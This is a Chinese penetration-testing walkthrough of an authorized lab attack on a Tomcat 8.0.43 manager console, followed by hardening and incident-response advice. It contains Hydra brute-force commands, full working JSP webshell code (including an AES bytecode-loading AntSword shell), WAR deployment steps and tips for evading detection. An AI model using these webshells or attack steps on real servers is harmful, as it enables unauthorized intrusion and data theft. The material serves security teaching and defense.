1. 项目概述一次典型的Web应用安全攻防演练最近在整理内部安全演练的笔记翻到了一个挺有代表性的案例是关于一个老旧Tomcat 8.0.43版本的管理后台。这个案例几乎涵盖了从外部信息探测到最终获取服务器权限的完整链条特别是其中利用弱口令和管理功能缺陷进行getshell的过程对于理解应用服务器安全配置的重要性非常有帮助。整个过程没有用到什么高精尖的零日漏洞纯粹是“配置不当”和“安全意识缺失”叠加造成的后果恰恰是这种问题在真实环境中最为普遍。今天我就把这个过程详细拆解一遍重点会放在弱口令的利用、Tomcat Manager功能滥用以及最后用AntSword蚁剑进行稳定连接的技巧上。无论你是安全测试人员、运维工程师还是开发人员了解这些攻击路径和原理都能帮助你更好地加固自己的系统。简单来说这次实战的目标是一个对外暴露了Tomcat管理后台通常是/manager/html的服务器。攻击者或安全测试人员通过尝试常见的弱口令成功登录了管理后台随后利用其提供的WAR文件部署功能上传了一个包含WebShell的WAR包从而在服务器上获得了命令执行能力。最后为了获得一个更稳定、功能更强大的交互式Shell使用了AntSword这类WebShell管理工具进行连接和管理。整个过程就像是用一把找到的钥匙弱口令打开了一扇门管理后台然后在房间里安装了一个后门程序WebShell最后用遥控器AntSword来操控这个后门。2. 环境准备与信息收集在开始任何安全测试之前明确边界和获取授权是铁律。本次演练是在授权的测试环境中进行目标是一台故意部署了存在漏洞的Tomcat 8.0.43版本的虚拟机。信息收集是渗透测试的“眼睛”这一步做得越细后续的路径就越清晰。2.1 目标识别与端口扫描我们首先需要确定目标服务器上运行的服务。使用Nmap进行快速扫描是最常见的方法。这里不只是扫描80、443这些常见Web端口Tomcat默认的管理端口8080以及AJP端口8009都是重点目标。nmap -sV -sC -p 1-10000 目标IP-sV用于探测服务版本-sC使用默认脚本进行更深入的探测。扫描结果很快显示目标在8080端口开放了HTTP服务并且Server头信息明确返回了Apache-Coyote/1.1这强烈暗示了Tomcat的存在。版本信息可能不会在横幅中直接显示但我们可以通过访问特定路径或分析细微的响应头差异来推断。2.2 Web路径探测与指纹识别拿到IP和端口后下一步就是访问Web服务看看有什么内容。直接浏览器访问http://目标IP:8080果然看到了那只熟悉的“汤姆猫”默认页面。这本身就是一个重要信息说明默认应用可能未被移除管理员的安全意识可能比较薄弱。接下来使用目录爆破工具来发现隐藏的路径。对于Tomcat有几个关键的管理和功能路径是必查的/manager/html: Tomcat的Web应用管理后台本次攻击的入口。/host-manager/html: 虚拟主机管理后台。/manager/status: 服务器状态查看页面。/docs/: Tomcat文档。/examples/: JSP/Servlet示例常存在安全漏洞。我使用了dirsearch工具配合一个大的字典进行扫描python3 dirsearch.py -u http://目标IP:8080 -e * -t 50扫描结果清晰地显示/manager/html返回了401需要认证或403禁止访问状态码而不是404。这证实了管理后台是存在的并且需要用户名密码才能访问。至此攻击面已经收缩得非常明确攻破Tomcat Manager的认证。3. 核心攻击链拆解弱口令与功能滥用攻击链的核心非常简单认证 - 授权 - 执行。难点在于如何通过第一道关卡——认证。Tomcat Manager后台的认证方式通常是HTTP Basic Auth或Form表单认证我们需要找到有效的凭证。3.1 弱口令爆破的原理与实践Tomcat Manager的默认用户名密码是tomcat/tomcat或admin/admin但在生产环境中有经验的管理员通常会修改。然而很多人会设置成其他简单密码或常见组合。弱口令爆破的本质就是用一个庞大的“钥匙串”密码字典去尝试打开“锁”登录接口。这里我使用了Hydra这款经典的网络登录破解工具。首先需要分析登录请求。通过浏览器尝试登录/manager/html并用Burp Suite或浏览器开发者工具抓包可以看到一个HTTP Basic认证的请求头GET /manager/html HTTP/1.1 Host: 目标IP:8080 Authorization: Basic dG9tY2F0OnRvbWNhdABasic后面的字符串是username:password的Base64编码。Hydra可以自动化这个过程。我准备了一个用户名字典users.txt包含tomcat, admin, manager, root等和一个密码字典passwords.txt包含常见弱口令、top1000密码等。hydra -L users.txt -P passwords.txt 目标IP http-get /manager/html-L指定用户列表-P指定密码列表http-get指定协议和方法。经过一段时间的跑字典Hydra成功返回了结果[8080][http-get] host: 目标IP login: tomcat password: s3cret。成功找到了一个弱口令组合tomcat:s3cret。注意在实际渗透测试中爆破行为会产生大量日志极易触发安全设备的告警如WAF的CC攻击防护、IDS的暴力破解检测。因此需要控制并发线程数-t参数、添加延迟-w和-W参数或使用代理池来规避。在授权测试中也应事先与客户沟通此类测试可能产生的日志量。3.2 Tomcat Manager WAR部署功能解析拿到凭证后用浏览器访问http://tomcat:s3cret目标IP:8080/manager/html即可进入管理后台。这个后台功能强大可以部署、启动、停止、重新加载、卸载应用。其中“WAR file to deploy”功能是我们getshell的关键。Tomcat Manager允许用户上传一个WARWeb Application Archive文件它会自动将其解压到webapps目录下并部署为一个新的Web应用。如果我们能上传一个包含WebShell的WAR包就等于在服务器上安装了一个后门应用。其背后的原理是Tomcat的ManagerServlet会处理上传的WAR文件调用org.apache.catalina.core.StandardContext的相关方法完成部署。这个功能本意是方便开发运维但在缺乏严格权限控制如只有弱口令的情况下就变成了一个高危的“任意应用部署”漏洞。4. WebShell制作与上传部署有了入口和权限下一步就是制作一个能让我们执行命令的“武器”——WebShell并将其打包成WAR文件进行部署。4.1 JSP WebShell的原理与编写JSPJavaServer Pages最终会在服务器端被编译成Servlet执行因此我们可以编写一个包含Java代码的JSP文件用它来执行系统命令。一个最简单的命令执行WebShell如下cmd.jsp% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } % form methodget input typetext namecmd size50 input typesubmit valueExecute /form这个JSP页面会渲染一个表单当用户输入命令并提交后它通过Runtime.getRuntime().exec()方法在服务器上执行该命令并将输出返回给页面。然而这个简单的Shell功能有限且没有密码验证非常不安全即使对攻击者而言也容易被别人利用。更常见的做法是使用经过混淆、带有密码验证、功能更强大的“大马”例如经典的jspx或jsp型WebShell。它们通常包含文件管理、数据库连接、端口扫描、反弹Shell等多种功能。在真实测试中使用公开的、特征明显的WebShell极易被安全软件如AV、EDR、WebShell查杀工具检测到。因此通常会进行自定义修改如改变密码参数名、加密关键函数、拆分代码等以绕过检测。4.2 将WebShell打包为WAR文件Tomcat部署需要的是WAR包其本质就是一个ZIP格式的压缩包具有特定的目录结构。我们只需要创建一个包含WEB-INF/web.xml的简单应用并把我们的JSP Shell放在根目录即可。操作步骤创建一个临时目录例如shellapp。在shellapp目录下创建WEB-INF文件夹。在WEB-INF文件夹内创建一个最简单的web.xml文件?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 display-nameShellApp/display-name /web-app将我们准备好的cmd.jsp或更复杂的Shell文件如ant.jsp复制到shellapp的根目录。在shellapp目录的上级目录使用jar命令或zip命令打包jar -cvf shell.war -C shellapp/ .或者cd shellapp zip -r ../shell.war .现在我们就得到了一个名为shell.war的武器。4.3 通过管理界面上传并触发回到Tomcat Manager的“Deploy”区域在“WAR file to deploy”部分选择我们刚生成的shell.war文件点击“Deploy”。如果一切正常页面会显示部署成功的消息并在“Applications”列表里出现一个名为/shell取决于你的WAR文件名的新应用状态为“Running”。此时我们的WebShell就已经在服务器上运行了。访问http://目标IP:8080/shell/cmd.jsp就能看到命令执行界面。尝试输入whoami或id命令可以看到返回了当前Tomcat进程的运行用户身份通常是tomcat或一个低权限系统用户。至此我们已经成功“getshell”获得了在Web容器权限下的命令执行能力。实操心得上传WAR包时Tomcat可能会对应用名进行安全检查或存在文件锁。如果部署失败可以尝试1. 换一个不常见的WAR文件名2. 先停止Undeploy可能存在的同名旧应用3. 直接利用Manager的“Deploy directory or WAR file located on server”功能如果知道服务器上的一个可写路径可以提前将WAR包传上去通过其他漏洞然后直接指定路径部署。5. 权限提升与AntSword稳定连接通过JSP WebShell执行命令虽然可行但交互性差功能单一且每次请求都在Web日志中留下明显记录?cmdwhoami。为了更稳定、隐蔽、高效地进行后续操作我们需要一个专业的WebShell管理工具——AntSword蚁剑。5.1 为什么需要AntSwordAntSword是一个开源的跨平台WebShell管理工具它相比于浏览器直接访问WebShell具有以下巨大优势图形化文件管理像使用FTP客户端一样浏览、上传、下载、编辑、删除服务器文件。虚拟终端提供交互式终端支持命令补全、历史记录体验接近SSH。数据库管理直接连接和管理MySQL、PostgreSQL、SQLite等数据库。插件扩展支持多种插件如端口扫描、反弹Shell、内网代理等。流量加密支持自定义加密器对WebShell的请求和响应进行加密编码绕过一些简单的WAF或日志审计。操作便捷右键菜单、拖拽上传等操作极大提升效率。5.2 配置AntSword连接JSP WebShell首先你需要准备一个与AntSword兼容的JSP WebShell。AntSword官方提供了一些样例Shell代码。这里以一个常见的带密码验证的简易版为例antsword.jsp%page importjava.util.*,javax.crypto.*,javax.crypto.spec.*,java.security.spec.*,java.io.*% %! // 连接密码 String pwd ant; // 加密密钥需要与AntSword配置一致 String key e45e329feb5d925b; String cs UTF-8; String as AES/CBC/PKCS5Padding; class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] decode(String str) throws Exception { byte[] data Base64.getDecoder().decode(str); Cipher cipher Cipher.getInstance(as); cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key.getBytes(cs), AES), new IvParameterSpec(key.getBytes(cs))); return cipher.doFinal(data); } % % String k pwd; String ct request.getParameter(k); if (ct ! null) { try { // 解密并执行接收到的字节码Payload byte[] data decode(ct.replace( , )); (new U(this.getClass().getClassLoader())).g(data).newInstance().equals(pageContext); } catch (Exception e) { // 错误处理 } return; } // 输出一个空白页面避免直接访问时暴露 out.print(); %将这个文件打包进新的WAR包例如ant.war并部署。然后在AntSword中添加一个新的Shell地址填写完整的WebShell URL如http://目标IP:8080/ant/antsword.jsp连接密码填写上面代码中定义的pwd即ant加密器选择与Shell代码匹配的加密器。上述代码使用的是AES加密在AntSword中通常对应default_aes或类似的加密器并且需要设置相同的密钥key。点击“添加”如果配置正确左侧Shell列表会出现该目标双击即可连接。5.3 AntSword核心功能实战应用成功连接后你就可以在AntSword的图形界面中进行操作了1. 文件管理在“文件管理”标签页你可以看到服务器的目录结构。右键点击文件或文件夹可以进行下载、编辑、删除、重命名、更改权限等操作。这对于查找配置文件、数据库连接字符串、源代码等敏感信息至关重要。例如可以尝试查看/etc/passwdLinux或C:\Windows\System32\drivers\etc\hostsWindows来了解系统信息。2. 虚拟终端在“虚拟终端”中你可以执行系统命令。输入whoami、pwd、ifconfig/ipconfig来确认当前权限和工作环境。AntSword的终端比浏览器直接执行命令更稳定输出格式也更友好。3. 数据库管理如果服务器上有数据库并且WebShell进程有访问权限可以在“数据库”标签页配置连接。通过读取Web应用的配置文件如WEB-INF/web.xml或application.properties往往能找到数据库的JDBC连接字符串、用户名和密码从而直接连接并操作数据库。4. 插件利用AntSword的插件市场有很多实用工具。例如使用“端口扫描”插件可以探测目标服务器内网的其他主机和服务使用“反弹Shell”插件可以尝试将Shell会话反弹到你的VPS上获得一个更独立的网络连接。注意事项使用AntSword等工具时其流量特征虽然经过加密但仍可能被高级WAF或IDS识别。在高度敏感的环境中可能需要定制更独特的加密器或采用流量伪装技术如将数据隐藏在正常的图片、JSON请求中。同时所有操作应尽可能低调避免大规模扫描或破坏性命令以免触发告警。6. 漏洞根源分析与安全加固建议回顾整个攻击链条问题出在哪里绝不仅仅是Tomcat 8.0.43这个版本本身而是一系列不安全配置的组合。6.1 漏洞链深度剖析信息泄露暴露了Tomcat默认页和管理后台路径为攻击者指明了方向。弱口令这是最致命的一环。使用强度不足、可被猜测或爆破的密码使得认证形同虚设。功能滥用Tomcat Manager作为一个强大的管理功能在缺乏网络访问控制如仅限内网IP访问和最小权限原则如是否真的需要给此用户部署应用的权限的情况下被攻击者直接利用。权限配置Tomcat进程通常以非root用户运行这限制了攻击的横向影响但获取Web服务权限本身已足以窃取应用数据、篡改网站内容。这个案例中并没有利用Tomcat 8.0.43的某个具体远程代码执行RCE漏洞如CVE-2017-12615而是利用了“默认配置”和“管理不当”这个人因漏洞。这在现实中比单纯的软件漏洞更常见。6.2 多层次安全加固方案要防止此类攻击必须建立一个纵深防御体系1. 网络与访问层最小化暴露面生产环境的Tomcat管理界面/manager/*和/host-manager/*绝对不应暴露在公网。通过防火墙策略或Tomcat本身的RemoteAddrValve将其访问来源限制为特定的运维IP段。!-- 在conf/server.xml的对应Host下添加 -- Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow192.168.1.0/24, 10.0.0.1 /修改默认端口将Tomcat的服务端口从默认的8080改为其他不常见的端口。2. 认证与授权层强制使用强密码为conf/tomcat-users.xml中的用户设置长且复杂的密码并定期更换。禁用或删除默认的tomcat用户。遵循最小权限原则在tomcat-users.xml中只为用户分配其工作所必需的角色。例如如果只需要部署应用只赋予manager-script角色允许通过API部署而非manager-guiWeb界面和manager-script的全部权限。role rolenamemanager-script/ user usernamedeployer passwordVeryStrongPassword! rolesmanager-script/启用HTTPS为管理后台启用HTTPS防止密码在传输过程中被嗅探。3. 应用与配置层删除默认示例和文档移除webapps目录下的docs,examples,ROOT默认主页等不需要的应用。升级版本虽然本例未用版本漏洞但保持Tomcat更新到最新稳定版可以防范已知的RCE、DoS等漏洞。Tomcat 8.0.x系列已停止维护应升级到受支持的更高版本如Tomcat 10.x或至少9.x。安全配置在conf/server.xml中禁用不必要的连接器如AJP/1.3 Connector除非你明确需要并设置allowLinking、crossContext等属性为更安全的值。4. 系统与运行时层使用非特权用户运行永远不要以root用户运行Tomcat。创建一个专用的、低权限的系统用户如tomcat来运行Tomcat服务。文件系统权限严格控制Tomcat安装目录、日志目录、临时目录的权限确保运行用户只有必要的最小写权限。部署WAR包来源管控建立严格的WAR包上线流程确保部署的包来自可信的构建流水线并经过安全扫描。7. 防御视角下的入侵检测与应急响应作为防御方除了加固还需要知道如何发现和应对此类入侵。7.1 如何发现被入侵的迹象日志分析定期检查Tomcat日志logs/catalina.out,logs/localhost_access_log.*.txt。关注对/manager/html的频繁401/403失败登录尝试爆破迹象以及成功登录后对/manager/html/deploy路径的POST请求部署应用。对于WebShell会存在大量对特定JSP路径如/shell/cmd.jsp的带参数请求。文件监控监控webapps目录下是否有新的、非预期的目录或WAR文件出现。特别是名称随机或可疑的目录。进程与网络连接检查服务器上是否有异常的网络连接如连接到未知外网IP的反弹Shell。使用netstat -antp或ss -antp命令查看。应用监控监控Tomcat管理界面中的应用列表是否有未知应用被部署。7.2 应急响应步骤一旦确认入侵应立即启动应急响应隔离立即从网络层面隔离被入侵的服务器如防火墙策略防止攻击者横向移动或继续破坏。取证保存现场对服务器内存进行镜像如果可能对磁盘进行全盘镜像或至少对关键目录webapps,logs,conf系统临时目录进行备份。分析日志导出并详细分析Tomcat访问日志、系统认证日志/var/log/secure,/var/log/auth.log还原攻击时间线。定位后门根据日志找到被上传的WebShell路径如/webapps/shell/cmd.jsp并检查其创建时间、内容。同时在全盘搜索近期创建或修改的.jsp,.war,.jar文件。清除通过Tomcat Manager或直接删除文件卸载并删除恶意WAR包和对应的应用目录。检查crontab、启动项、SSH授权密钥等位置清除攻击者可能留下的持久化后门。检查其他应用和系统用户确认是否存在横向渗透。恢复与加固从干净的备份中恢复被篡改的网站文件。修改所有涉及的系统密码、Tomcat用户密码、数据库密码。按照前述的加固方案全面修复安全配置漏洞。进行漏洞扫描和渗透测试确认没有其他隐患。复盘分析根本原因是弱口令还是未授权访问更新安全策略和运维规范对相关人员进行培训避免同类事件再次发生。这次从Tomcat弱口令到getshell的全程记录本质上是一次针对“人的漏洞”和“配置的漏洞”的演练。它清晰地展示了一条低技术门槛但高成功率的攻击路径。对于攻击者这是一个经典的“捡漏”案例对于防御者这则是一份详尽的“避坑”指南。安全是一个持续的过程没有一劳永逸的解决方案唯有保持警惕遵循最佳实践构建纵深防御才能将风险降到最低。在实际工作中我强烈建议定期对互联网暴露的资产进行类似的弱口令扫描和配置审计主动发现问题总比被动应急要好得多。